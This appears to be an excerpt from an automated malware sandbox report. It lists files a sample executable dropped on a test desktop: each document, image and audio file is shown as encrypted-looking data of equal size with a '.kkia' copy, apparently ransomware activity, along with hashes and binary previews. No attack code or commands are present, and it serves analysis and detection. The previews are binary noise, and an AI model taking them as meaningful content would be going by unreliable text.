SSDEEP:	24:vxARZ02qOYa1l+VlZbeUaIOEq7sv9mwYvOG24XZi5qK66VugPn4F/ajtkkbD:vxwqO5kTZ6UaIOEq7MmrvOG24XE5qK6G
MD5:	508A6FF3ACF3A3F09003F07BC66C4F40
SHA1:	927AD0EBAE767A066B4AD266BA37442915B128FA
SHA-256:	CE4B09EE8CC13E2AFA0A15778CCCE8B3221FA141C23824D823C2C071DAF8B903
SHA-512:	D350505A4A99265F46220A87799514B0F0E17A9AA89A211FBE2231252DBF04922458F0DB04572C7D1BAAF72B207DE7AD5214FD37A863F04453A267E68E82E127
Malicious:	false
Preview:	BNAGM.P....}....~....nr.c.3..V].Y.V.........z.D..d.q._.[...d....~:..,..Y..z.........LP7...Z.o_.&.$..p.m.B......,\|=.(..#Q.LpA...5..5B....:..m....58.Y..H.....u.B...\|^_.!.Wu....e?u.N.,Y..R..s...R).5.......).6...E.........4..(r..n%y%..d.XEH.......Z...~FU...N..=x.M.D....\|4t...O....>.z...S..ji..x.D.;.Y.I.D......_.m....<.U...C4...7u.R)\|.(h..;..NL.W.Z..I......h...U.....y.Rc..GM....)......F4.i.W.y...V..R..'9.h^..\o.r[..v...D.{.V...6.....]/..rB;h.g6.I..9....S..O.Wpl1!W..O.;...J.]....-.!Q..Pn..&. J.,....X.e..VP..q.....{.LPP...$:...s.....`~.g.4.t.SR......h..B........j.".^.=..=.N...).8J.... ..,..,....c..AZ.0.W...h=u....u..nJ...c..0...;.&..vP..>.....6...R........-....UF.....c.-..^...k=.z...8UI...6.DP..Ry.mO.-f..>U7..{....m8..Ng....Nty..}..J_\|w........J..K...;...P..^G.N..H.s.!..^.+...U=<cV.....09u.k.[..`.N.E$_..Y.'.Iz.......Vq6.EGS..5.w...Z.5.QN/...d9..Tc\.9%...E.'9 ....=.M[.Q..Me8.w...P.f:.7H..[O....\j..........]85....1hD.r.5...U..h...;Ww`8..Vew..Qa.

C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868978989508804
Encrypted:	false
SSDEEP:	24:J+jsDKcTIuZxOSNSUhGeRFOGSStRIxAc1aTDUZ5UAEFByp+Erhk3+2OFcunYtJ8i:JRDKcTIuxPA8dWAHEh7p+ohkOGR3ZD
MD5:	F1D2FCDD347968F25ED80975FF94828A
SHA1:	B1DD15061CEA7C4682B42D82FA92CCA1F6A460F7
SHA-256:	4A48F43D653501E55B1E8C069D7CDAFA970F166F31DDF28A06FEA1D0EE8AB45D
SHA-512:	44D49BCE869DC63C8336103CFCF800BD490C12D0A25EA546C1609E9307038958AFB521806F41CA9E8E9054CC96F07141D4663885D7F0B05D07BA246CCA9DD975
Malicious:	false
Preview:	BNAGML.W6.q.eU<...cm....+=X.." O.FV.L...Mr...6.p&.4..`.?.h".$....n....HrM........9,......M......1.:......z.!..KB.A..-E......_..o.1.gO3.....m..9.n.+."S....f..pU.......mH....F.;..t..2.c......[...R............BM.....puy.8......\|........Fm._8.d.MwXK....R..s.f.u>X...z_.....3._/bk9.4...^ ..M.-...1r.K..P.d.>'.v.XR.N.z..\|..={..'Eu..~8.t}.4.......3b\|..N........b..........\}.U...@.J.#kg.8c.=,.q.h#{.V..e....D.Hhf.;.EB.pz.Ly.y.+iF..?.}...z..2..2.....Q...z..}&t%..U.......=hkfGp(..R...p..n..i.4........0)..C...3..m....-.YfJ....(..8....,......._"../...j.ni.[.>=.w.^c......Z...#...To.w....4%..l`.#...$\.@.5.7...l....h...A....3...}....r..V]u"......-..Q~A9..A..o./PlE...W.8....g......CK..\..aw.I.U.....k.K`}zu..C...H{.UG}..p...V.RH....D...(w%...Q^.q..Q..#.o"(...?9V.I..=.i......T_@.jP<...&......2(,]..O.......g....9!..G.~&.(D.9n...eY....l...,..b6.....d...P......v.*JM..^..%+\..Z..J....E...L...C_.c...9.:...o..H6j&..ln./....w...ho.....CI....7)s.w.....

C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868978989508804
Encrypted:	false
SSDEEP:	24:J+jsDKcTIuZxOSNSUhGeRFOGSStRIxAc1aTDUZ5UAEFByp+Erhk3+2OFcunYtJ8i:JRDKcTIuxPA8dWAHEh7p+ohkOGR3ZD
MD5:	F1D2FCDD347968F25ED80975FF94828A
SHA1:	B1DD15061CEA7C4682B42D82FA92CCA1F6A460F7
SHA-256:	4A48F43D653501E55B1E8C069D7CDAFA970F166F31DDF28A06FEA1D0EE8AB45D
SHA-512:	44D49BCE869DC63C8336103CFCF800BD490C12D0A25EA546C1609E9307038958AFB521806F41CA9E8E9054CC96F07141D4663885D7F0B05D07BA246CCA9DD975
Malicious:	false
Preview:	BNAGML.W6.q.eU<...cm....+=X.." O.FV.L...Mr...6.p&.4..`.?.h".$....n....HrM........9,......M......1.:......z.!..KB.A..-E......_..o.1.gO3.....m..9.n.+."S....f..pU.......mH....F.;..t..2.c......[...R............BM.....puy.8......\|........Fm._8.d.MwXK....R..s.f.u>X...z_.....3._/bk9.4...^ ..M.-...1r.K..P.d.>'.v.XR.N.z..\|..={..'Eu..~8.t}.4.......3b\|..N........b..........\}.U...@.J.#kg.8c.=,.q.h#{.V..e....D.Hhf.;.EB.pz.Ly.y.+iF..?.}...z..2..2.....Q...z..}&t%..U.......=hkfGp(..R...p..n..i.4........0)..C...3..m....-.YfJ....(..8....,......._"../...j.ni.[.>=.w.^c......Z...#...To.w....4%..l`.#...$\.@.5.7...l....h...A....3...}....r..V]u"......-..Q~A9..A..o./PlE...W.8....g......CK..\..aw.I.U.....k.K`}zu..C...H{.UG}..p...V.RH....D...(w%...Q^.q..Q..#.o"(...?9V.I..=.i......T_@.jP<...&......2(,]..O.......g....9!..G.~&.(D.9n...eY....l...,..b6.....d...P......v.*JM..^..%+\..Z..J....E...L...C_.c...9.:...o..H6j&..ln./....w...ho.....CI....7)s.w.....

C:\Users\user\Desktop\BNAGMGSPLO\EEGWXUHVUG.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850743724337546
Encrypted:	false
SSDEEP:	24:cXvmMsgjYA4jFXBhyCOMkzhrs8wxqjKXQCoYkJxVmNhEDyXWnZ9IW2wkkbD:yvxjT6FX7y9XD47XbCJmIZDF2wJD
MD5:	9F5D4D3F3EE5CA4ABDAFEA446E5A027D
SHA1:	5B83C83D14FCADAC9308646F4A7158283A2BA6DF
SHA-256:	9D101E5B72664D7C46964B12B11149482494B8CFE9604B187657AAD7B328793C
SHA-512:	4E9DAB5F1E669862327864550B32B87367100A73530F9CCEAB3291617BED147A44D2D5556815045DAB2ED405E2C1CBF66A516B0010C14DF8EF98633FA4CE325D
Malicious:	false
Preview:	EEGWX./..xF...1....\..Bv..%\7..x..\|.<0...p......9......Kr.~.v..Q).!.&.c.....@iW............Y?d4.A..E......&.^...o....<{.+.5.9?.....<X.P......G..P..f.U.1..c>.I.&...q.w..(#f.,..i.......9z.._.]....S...~\|..fre..R.{%...Xg...]...1..i......&9...N.S...f..6i....].\|..-.<.Q...K.1.:.U.w!)..u.]c.l.."7.,.9.\|../y...M+w.p...z.s..%].l."-..M..k#...!.U%0p...[..t.H.Q.s.).w....O=K...2QX.h..g.C..R.w..lv...52.~BR.`...._w.%. ........=.0..}`~"'..G(....._.Vg>..c..(...n.B..M.0...r...K.?.\.....}2...r...~..?f..-Q....BY.1b....L...T...Eq.....$.+yB..v.eSZo..+.....S..Q.....i%..kwH..+A......9...7V....v...1v...L:Y..L}...m...bj. ....$U..'.N.E.kr#D...),>..N.%.z.G.....ck...>.4.!L.'.xo.e.T[.i....+.u.l/\|.n....4.dn.!:.}.\|T.....e.=d...l}.Yb.g^..Xa\wj[..8tY....L.)d...V.)........rH.ZT.f........].e....?;..yF>..q.:.}.4....h....b(;'.[`..B..X.C~#CA.6..../}7Mg.k).iT.T<=f.#.Ur..(6....ef#.G..V..".....D}..t..Ni.+..J...^).v.....T\.....a...az0.t...Jx.h.%Y.S..=Bo.q...W.M.....6.o.

C:\Users\user\Desktop\BNAGMGSPLO\EEGWXUHVUG.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850743724337546
Encrypted:	false
SSDEEP:	24:cXvmMsgjYA4jFXBhyCOMkzhrs8wxqjKXQCoYkJxVmNhEDyXWnZ9IW2wkkbD:yvxjT6FX7y9XD47XbCJmIZDF2wJD
MD5:	9F5D4D3F3EE5CA4ABDAFEA446E5A027D
SHA1:	5B83C83D14FCADAC9308646F4A7158283A2BA6DF
SHA-256:	9D101E5B72664D7C46964B12B11149482494B8CFE9604B187657AAD7B328793C
SHA-512:	4E9DAB5F1E669862327864550B32B87367100A73530F9CCEAB3291617BED147A44D2D5556815045DAB2ED405E2C1CBF66A516B0010C14DF8EF98633FA4CE325D
Malicious:	false
Preview:	EEGWX./..xF...1....\..Bv..%\7..x..\|.<0...p......9......Kr.~.v..Q).!.&.c.....@iW............Y?d4.A..E......&.^...o....<{.+.5.9?.....<X.P......G..P..f.U.1..c>.I.&...q.w..(#f.,..i.......9z.._.]....S...~\|..fre..R.{%...Xg...]...1..i......&9...N.S...f..6i....].\|..-.<.Q...K.1.:.U.w!)..u.]c.l.."7.,.9.\|../y...M+w.p...z.s..%].l."-..M..k#...!.U%0p...[..t.H.Q.s.).w....O=K...2QX.h..g.C..R.w..lv...52.~BR.`...._w.%. ........=.0..}`~"'..G(....._.Vg>..c..(...n.B..M.0...r...K.?.\.....}2...r...~..?f..-Q....BY.1b....L...T...Eq.....$.+yB..v.eSZo..+.....S..Q.....i%..kwH..+A......9...7V....v...1v...L:Y..L}...m...bj. ....$U..'.N.E.kr#D...),>..N.%.z.G.....ck...>.4.!L.'.xo.e.T[.i....+.u.l/\|.n....4.dn.!:.}.\|T.....e.=d...l}.Yb.g^..Xa\wj[..8tY....L.)d...V.)........rH.ZT.f........].e....?;..yF>..q.:.}.4....h....b(;'.[`..B..X.C~#CA.6..../}7Mg.k).iT.T<=f.#.Ur..(6....ef#.G..V..".....D}..t..Ni.+..J...^).v.....T\.....a...az0.t...Jx.h.%Y.S..=Bo.q...W.M.....6.o.

C:\Users\user\Desktop\BNAGMGSPLO\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846429868851905
Encrypted:	false
SSDEEP:	24:VTMM/rE7G2RY3DgMoklVG/fwagbfGdfG0dX31EcN78hCaOSb564kbD:iM/AG2RkoklVGw5SdfT3qq8CgbA1D
MD5:	FC7F43C274E59D0C2F34137D546DBC6F
SHA1:	A74566EAE3E9A1DD1123D02528EED0532DA0C14E
SHA-256:	D205D59E16A804E6C74EA1176AA82D38FC5CC43DCF3C472994C2D106823BC54F
SHA-512:	A416417820B50A5FB9A7DE7E709C74AA25EFA5B1343CBA7A011C9A3FD0CA2F7323B46815DE277BC4B197609B5928A5E5CC7AD3184819F606F6A498721759935D
Malicious:	false
Preview:	EFOYF."l.(.8:.i.....nM....N....f..9:..d....A..../.Zq..d...{..}.r......i..d..E...e.....Fj8.)".6.......z.Y.../pJ9!.{....]...a3`4wR..I.J....e..NhL....B.]..2..?Ze.V...$.V.;.o.t.q.....z..m...xX.Y..r.jv........=9%.;...Y. ...... .Wf..u....I.P..)..K..69.M....=/I...UG........4.X..2h.c.....q6.A3..M.V...}.^+ .sr.'>.....@;.3.....%..\..0.?..7......U.....S..'qG..]Br.9...^H+T..nFG...L.h~..L....,..5r.....C.......Ko...........J.. S....J.!.....N..7Q....R.hd..3...>...... ...0....m.}. .> .Z..-...M.y.>....3D..^..;:.8......8.....[f.E.;.f.K..).....y.7.!...."U.60.D.H.W.......G..V^a..=.5.D.y..r.=G..Cf..g..[.0....R.U.J..S...y]TM....Akp.........%..N.h.p.@..!......$....u.....[...EY3.9c....>......3..Ka4.y.r.]...m~....y.d......i.X.#.6.].VBpv.......Zm.U.wc.Oo?V.&-.Q.6r.....\J>xz.N.\|.S....VI+....".Q.%!.QJ}.....):..v././Rg..<...xj.r!.3/...U..D.[.\|.8>.%..Wk(3.].7......g....}..8.6 .V.R.d....C.....P...../..?.-..n.k.%H..w.L.*......>....!K`.m.W.\2.l}Z.d.#...I.........N..vJ.;

C:\Users\user\Desktop\BNAGMGSPLO\EFOYFBOLXA.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846429868851905
Encrypted:	false
SSDEEP:	24:VTMM/rE7G2RY3DgMoklVG/fwagbfGdfG0dX31EcN78hCaOSb564kbD:iM/AG2RkoklVGw5SdfT3qq8CgbA1D
MD5:	FC7F43C274E59D0C2F34137D546DBC6F
SHA1:	A74566EAE3E9A1DD1123D02528EED0532DA0C14E
SHA-256:	D205D59E16A804E6C74EA1176AA82D38FC5CC43DCF3C472994C2D106823BC54F
SHA-512:	A416417820B50A5FB9A7DE7E709C74AA25EFA5B1343CBA7A011C9A3FD0CA2F7323B46815DE277BC4B197609B5928A5E5CC7AD3184819F606F6A498721759935D
Malicious:	false
Preview:	EFOYF."l.(.8:.i.....nM....N....f..9:..d....A..../.Zq..d...{..}.r......i..d..E...e.....Fj8.)".6.......z.Y.../pJ9!.{....]...a3`4wR..I.J....e..NhL....B.]..2..?Ze.V...$.V.;.o.t.q.....z..m...xX.Y..r.jv........=9%.;...Y. ...... .Wf..u....I.P..)..K..69.M....=/I...UG........4.X..2h.c.....q6.A3..M.V...}.^+ .sr.'>.....@;.3.....%..\..0.?..7......U.....S..'qG..]Br.9...^H+T..nFG...L.h~..L....,..5r.....C.......Ko...........J.. S....J.!.....N..7Q....R.hd..3...>...... ...0....m.}. .> .Z..-...M.y.>....3D..^..;:.8......8.....[f.E.;.f.K..).....y.7.!...."U.60.D.H.W.......G..V^a..=.5.D.y..r.=G..Cf..g..[.0....R.U.J..S...y]TM....Akp.........%..N.h.p.@..!......$....u.....[...EY3.9c....>......3..Ka4.y.r.]...m~....y.d......i.X.#.6.].VBpv.......Zm.U.wc.Oo?V.&-.Q.6r.....\J>xz.N.\|.S....VI+....".Q.%!.QJ}.....):..v././Rg..<...xj.r!.3/...U..D.[.\|.8>.%..Wk(3.].7......g....}..8.6 .V.R.d....C.....P...../..?.-..n.k.%H..w.L.*......>....!K`.m.W.\2.l}Z.d.#...I.........N..vJ.;

C:\Users\user\Desktop\BNAGMGSPLO\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849054366033929
Encrypted:	false
SSDEEP:	24:IknQpSdvbJx4f0bAthgJkRJ1Cw3tp/AWbmenDRDqMBf1LsO6/A8s3xVB8b60NkbD:4SdvL4f0E7DCwX7bm2DlqMvlgA8S6NcD
MD5:	09191757A56A6D10657057961F51E3CB
SHA1:	5DE0EB6C7EBC3CC84B3C45E2AAC9DF6696C40D54
SHA-256:	A528CB5CA82BEB030A6CD95C7A8653BFB685014E9BE83F665E3D0BFE6CD6D4B7
SHA-512:	C639B67C326B2934CCE7AB7181AA2BB616E24B747DF3B588B5FEA901034113D73DA4938F460D8C3AD6293D38715480BBA84265667AF917B454B521C2A6F50E9E
Malicious:	false
Preview:	GRXZD..C.?%S.Q\|.f....)%+c.0.i.\|......N......q.2x...e..h. _...k.W.d0a?.)..JC...9~....]a..:..%.h..[....h.V\|.10!..@..\.ab.TB`.E.\|.n>.T.E.;Q)..)..\|X.0W@..i(..T.jH...2...e..e.Z.../7..K.,......E4(A..Et........s.' .H'...u.Lv\C.bHcU..g.<x.".{...q.c......."..#..SUi?....gk.6...'....I..g.g....&/...x../....V./.v.$.9._&..wf...4.b.<.6"(.....H.....`.....nX7z........8.,5..+........\|.n;...._.=.[...HW8.C.....N.6ky.Pf....bH.O.2.I.8.R..'..'?i.H.....Y".E....^.q...LK...........g...).....mI.....o...".... ...q...>....\|..s.S........F....Oq.<N..h..G.%.S.S_..9M.\|.-.K...S.5:.f..{.#.....d.[.>......,.mN.T........l<r(:(.{\...N,pW...~.9. .>...@.TG[yU..X.......2..Y..<..kg.R...#V$-c........s.=fK..j.......t\|.'R]....."...#...S......w...9z.l?.y..d..R...[2G..e...B.{..C.....N_....'..fp..o..=.....1.L.xQ..+...6..W9.Hu.5..FX.....1..C0.....<....-... ._.gZ7s-<s.m5..<..$..<.(!..I.a.^.8.........D..{.&.......J....h./..%.W..N.S.9....3...^....p}...x.r^j..9.X-*1Xq.6Z...n`..P...

C:\Users\user\Desktop\BNAGMGSPLO\GRXZDKKVDB.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849054366033929
Encrypted:	false
SSDEEP:	24:IknQpSdvbJx4f0bAthgJkRJ1Cw3tp/AWbmenDRDqMBf1LsO6/A8s3xVB8b60NkbD:4SdvL4f0E7DCwX7bm2DlqMvlgA8S6NcD
MD5:	09191757A56A6D10657057961F51E3CB
SHA1:	5DE0EB6C7EBC3CC84B3C45E2AAC9DF6696C40D54
SHA-256:	A528CB5CA82BEB030A6CD95C7A8653BFB685014E9BE83F665E3D0BFE6CD6D4B7
SHA-512:	C639B67C326B2934CCE7AB7181AA2BB616E24B747DF3B588B5FEA901034113D73DA4938F460D8C3AD6293D38715480BBA84265667AF917B454B521C2A6F50E9E
Malicious:	false
Preview:	GRXZD..C.?%S.Q\|.f....)%+c.0.i.\|......N......q.2x...e..h. _...k.W.d0a?.)..JC...9~....]a..:..%.h..[....h.V\|.10!..@..\.ab.TB`.E.\|.n>.T.E.;Q)..)..\|X.0W@..i(..T.jH...2...e..e.Z.../7..K.,......E4(A..Et........s.' .H'...u.Lv\C.bHcU..g.<x.".{...q.c......."..#..SUi?....gk.6...'....I..g.g....&/...x../....V./.v.$.9._&..wf...4.b.<.6"(.....H.....`.....nX7z........8.,5..+........\|.n;...._.=.[...HW8.C.....N.6ky.Pf....bH.O.2.I.8.R..'..'?i.H.....Y".E....^.q...LK...........g...).....mI.....o...".... ...q...>....\|..s.S........F....Oq.<N..h..G.%.S.S_..9M.\|.-.K...S.5:.f..{.#.....d.[.>......,.mN.T........l<r(:(.{\...N,pW...~.9. .>...@.TG[yU..X.......2..Y..<..kg.R...#V$-c........s.=fK..j.......t\|.'R]....."...#...S......w...9z.l?.y..d..R...[2G..e...B.{..C.....N_....'..fp..o..=.....1.L.xQ..+...6..W9.Hu.5..FX.....1..C0.....<....-... ._.gZ7s-<s.m5..<..$..<.(!..I.a.^.8.........D..{.&.......J....h./..%.W..N.S.9....3...^....p}...x.r^j..9.X-*1Xq.6Z...n`..P...

C:\Users\user\Desktop\BNAGMGSPLO\NVWZAPQSQL.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847486082894233
Encrypted:	false
SSDEEP:	24:FJlIwmEnt862fh539fCOSQSiD24UN9v2IXGFLaqOyiT+wHkbD:FNnq64j9fCBQSiVbFLaDT+dD
MD5:	62DDD95DB3D48491ADEB69321EB7D591
SHA1:	335A9E52D20BA26F415943E88014344C343F444C
SHA-256:	0C5F19EFD08EDB30C30D37913372E3342BB0E6F3A9DA4EB506FFEAE4A8806497
SHA-512:	38598823B58BB27FDC8C6C226E7640C051597B2ACBF6D9AAC1ED8C5D294A8F419465FED8517C3D09366836DEEF8393EFE1D314A9EF08B5497495711452878715
Malicious:	false
Preview:	NVWZA,.R..-...l........IA.a.`.uF...$.'.j....lv.Q...... SS#.....(.CS.....&.T.Fk..!.\.[..%cG...7.g..y.b...c.5....G...l.......'.....m....b....n(.."^.1.S..6]......T..bH.)..%...vL.s#.[....j.J.....1..q".Y..3.(.ET...[..&2..lY..T....tL.0/...Ff..IrA..~y....n...1.oU.."..f.f..z...Lo..H..!..Op.....u! <.D.....S....0..]J.........R..3....."...oE.~,.:.%..B.8..K..[.....'2}..p.1bxI.xm...h...!.n&k...b......I..z...4\|5S.JO...(O@(.1d.3.B7.?f.B..E...........Zvf.........\...a............T..x....B9.'7=_......J.........EO.jYv]...>.hl..>k..Y.1.....EC.j.].!...-..uB....G=f.W$a<m.$...8.X...v/..'z..{he:.^...c."..5...d...l..[.1.H.?o..1B=.z..a=[..~.H...B..\.~...w.M...N.{.q.......8.....~...........0k'..s.wa._B.......t..:.Tb{<....K..}.@.i..`.[Gv6./...\|.^..N+..d.?...\|.w..\..~.....kz[.]%......'0.3^X..7^1...r...6:s..<.....w..W.&L+..{.....-o...M.6...Uw....N.a.:....P..H.A.%.C....o(.{<Z...`W3...E...W........'.S..>d.#ad..<......I.w!=.s.?&e]..<......+pj.....N.w...G.........o...d...

C:\Users\user\Desktop\BNAGMGSPLO\NVWZAPQSQL.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847486082894233
Encrypted:	false
SSDEEP:	24:FJlIwmEnt862fh539fCOSQSiD24UN9v2IXGFLaqOyiT+wHkbD:FNnq64j9fCBQSiVbFLaDT+dD
MD5:	62DDD95DB3D48491ADEB69321EB7D591
SHA1:	335A9E52D20BA26F415943E88014344C343F444C
SHA-256:	0C5F19EFD08EDB30C30D37913372E3342BB0E6F3A9DA4EB506FFEAE4A8806497
SHA-512:	38598823B58BB27FDC8C6C226E7640C051597B2ACBF6D9AAC1ED8C5D294A8F419465FED8517C3D09366836DEEF8393EFE1D314A9EF08B5497495711452878715
Malicious:	false
Preview:	NVWZA,.R..-...l........IA.a.`.uF...$.'.j....lv.Q...... SS#.....(.CS.....&.T.Fk..!.\.[..%cG...7.g..y.b...c.5....G...l.......'.....m....b....n(.."^.1.S..6]......T..bH.)..%...vL.s#.[....j.J.....1..q".Y..3.(.ET...[..&2..lY..T....tL.0/...Ff..IrA..~y....n...1.oU.."..f.f..z...Lo..H..!..Op.....u! <.D.....S....0..]J.........R..3....."...oE.~,.:.%..B.8..K..[.....'2}..p.1bxI.xm...h...!.n&k...b......I..z...4\|5S.JO...(O@(.1d.3.B7.?f.B..E...........Zvf.........\...a............T..x....B9.'7=_......J.........EO.jYv]...>.hl..>k..Y.1.....EC.j.].!...-..uB....G=f.W$a<m.$...8.X...v/..'z..{he:.^...c."..5...d...l..[.1.H.?o..1B=.z..a=[..~.H...B..\.~...w.M...N.{.q.......8.....~...........0k'..s.wa._B.......t..:.Tb{<....K..}.@.i..`.[Gv6./...\|.^..N+..d.?...\|.w..\..~.....kz[.]%......'0.3^X..7^1...r...6:s..<.....w..W.&L+..{.....-o...M.6...Uw....N.a.:....P..H.A.%.C....o(.{<Z...`W3...E...W........'.S..>d.#ad..<......I.w!=.s.?&e]..<......+pj.....N.w...G.........o...d...

C:\Users\user\Desktop\BNAGMGSPLO\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838659722136019
Encrypted:	false
SSDEEP:	24:LS8LRIFO7ubpAL3BWxWNBX4ZymgApF800pmdwHg/7f+U6Za7WYBSLukbD:LS8lMAtWxOBXuCdLpmygTXyaqVD
MD5:	358DCA27332C0EC5657FAF19C950D35A
SHA1:	288D0518BD9161999D6A78F11F4A1E508749209E
SHA-256:	F286D6BE6442816477B683559F15336B6B306EBA91337D5B891B0A712B9A7741
SHA-512:	333BC69E38CA648962C0CA5CA91CBADB1817A3B16CE40B826DDABB33BC5F50A5134DDFFCDB7B7511A4D65CB5E7DC1477D0B059C0E8E855BCF55D68CAFBDC1591
Malicious:	false
Preview:	SQSJK..D..]..Bc..A.A..Y.i&MXBO>-....8{,. ...u~.g....0o....?......ZP.+.S..............._=.....M%#.%.....m..Z.D3..;El;..i......4B.........e.).x..\|....f..o..S..=.\|{..K.A'.T..rY.....X=6&...TX.....,$..g.Q.....(=,u;..L.a.1[.f...5..............<O5.D..ve.......6.F,[:.0iK.j..!..+.9..5..pU$.7..Z.,.#.#.<.h&\.c...$.......#..N..)....vi.3..#..[...<.....(....R...PJ\|9.9.a..J...:#/.....$dy....c\.F.Bv6.....b$...&.9,1......WR].].fJ..<..Q....T...j..W....-A@...Cw...AY..j....I.5F...8..\|M.Ua......}j..?z....{3..W.L...=..w(..=q....K...R.......F.K.(..)..<.8M#5.gx$..jTZ =?..`..s.=..j.2oRa....c....>..b.....).O.IWS...5..........Mu......^C.k(......+m.I%.P.p.?>....6...G...0...[.[...tx..U.....w.....-Q.1hx.._...%.K.....'...<...c..>+..D.....Y&:/\..v.N....v.o(i`y.c..,..@kN2...O.\|..?....%.c.^.....M...&.w.3.,E"....S.Nu"...{..W.T'.........e.S.UaV...49.b~...j.x.hY.}...).S.c..`...0.....<......J..c.".H..}.f...r...*cW....J21..I...{...R._C.{t].}W.N<.. ...m+.[..3.0.!..>..6

C:\Users\user\Desktop\BNAGMGSPLO\SQSJKEBWDT.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838659722136019
Encrypted:	false
SSDEEP:	24:LS8LRIFO7ubpAL3BWxWNBX4ZymgApF800pmdwHg/7f+U6Za7WYBSLukbD:LS8lMAtWxOBXuCdLpmygTXyaqVD
MD5:	358DCA27332C0EC5657FAF19C950D35A
SHA1:	288D0518BD9161999D6A78F11F4A1E508749209E
SHA-256:	F286D6BE6442816477B683559F15336B6B306EBA91337D5B891B0A712B9A7741
SHA-512:	333BC69E38CA648962C0CA5CA91CBADB1817A3B16CE40B826DDABB33BC5F50A5134DDFFCDB7B7511A4D65CB5E7DC1477D0B059C0E8E855BCF55D68CAFBDC1591
Malicious:	false
Preview:	SQSJK..D..]..Bc..A.A..Y.i&MXBO>-....8{,. ...u~.g....0o....?......ZP.+.S..............._=.....M%#.%.....m..Z.D3..;El;..i......4B.........e.).x..\|....f..o..S..=.\|{..K.A'.T..rY.....X=6&...TX.....,$..g.Q.....(=,u;..L.a.1[.f...5..............<O5.D..ve.......6.F,[:.0iK.j..!..+.9..5..pU$.7..Z.,.#.#.<.h&\.c...$.......#..N..)....vi.3..#..[...<.....(....R...PJ\|9.9.a..J...:#/.....$dy....c\.F.Bv6.....b$...&.9,1......WR].].fJ..<..Q....T...j..W....-A@...Cw...AY..j....I.5F...8..\|M.Ua......}j..?z....{3..W.L...=..w(..=q....K...R.......F.K.(..)..<.8M#5.gx$..jTZ =?..`..s.=..j.2oRa....c....>..b.....).O.IWS...5..........Mu......^C.k(......+m.I%.P.p.?>....6...G...0...[.[...tx..U.....w.....-Q.1hx.._...%.K.....'...<...c..>+..D.....Y&:/\..v.N....v.o(i`y.c..,..@kN2...O.\|..?....%.c.^.....M...&.w.3.,E"....S.Nu"...{..W.T'.........e.S.UaV...49.b~...j.x.hY.}...).S.c..`...0.....<......J..c.".H..}.f...r...*cW....J21..I...{...R._C.{t].}W.N<.. ...m+.[..3.0.!..>..6

C:\Users\user\Desktop\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840117829622213
Encrypted:	false
SSDEEP:	24:r6M72AqiW1BY+5IUoetR0c+9jagF9wwHV7bkcQj0riblOtzYW2L6DkbD:r62dsCEYcWj/ewVocQg2blQk/L6SD
MD5:	A4E890BCA5136ACA41474E0EF8BB2B15
SHA1:	6D86EFFE4679B962584C236A0B0DC6B85753C8C6
SHA-256:	CE4C429E23DF29896CD7684E1B38FD91FEAA9D6F570284FEE7F01F8B0CB78BF5
SHA-512:	E04198432079F37E3D8C0F8D91A7D11FE4621287FACD109AE5E1187300822E033210DEEA2EE9542B61963A0F0C365C1F15C022D069AD6378FEA54BCB78A5068C
Malicious:	false
